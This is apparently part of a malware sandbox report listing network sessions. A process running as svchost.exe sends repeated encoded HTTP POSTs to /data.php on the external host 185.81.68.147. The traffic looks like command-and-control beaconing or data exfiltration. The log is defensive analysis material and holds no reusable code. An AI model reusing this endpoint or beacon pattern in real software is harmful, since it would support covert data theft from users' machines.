Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49892	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:13.491806030 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:15.002361059 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49897	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:15.236013889 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:16.922410011 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49898	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:15.320031881 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:17.032521009 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49903	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:17.153142929 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:18.703666925 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49904	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:17.272466898 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:18.929557085 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49909	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:18.946805000 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:20.548573017 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49910	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:19.160533905 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:20.906558037 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49915	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:21.230936050 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:22.747880936 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49917	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:21.355814934 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:23.034162998 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49922	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:22.990943909 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:24.546575069 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49923	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:23.271975040 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:25.206994057 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49927	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:24.781292915 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49930	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:25.453814983 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:27.113961935 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49931	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:25.465718985 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:27.035527945 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49935	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:27.338254929 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:28.928298950 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49938	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:27.410161972 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:29.092658997 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49940	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:29.462893963 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:31.036319971 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49943	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:29.533220053 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:31.237620115 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49947	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:31.262727022 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:06:32.829889059 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49948	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:31.478944063 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49954	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:33.060007095 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49959	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:35.508236885 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49960	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:35.508825064 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49970	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
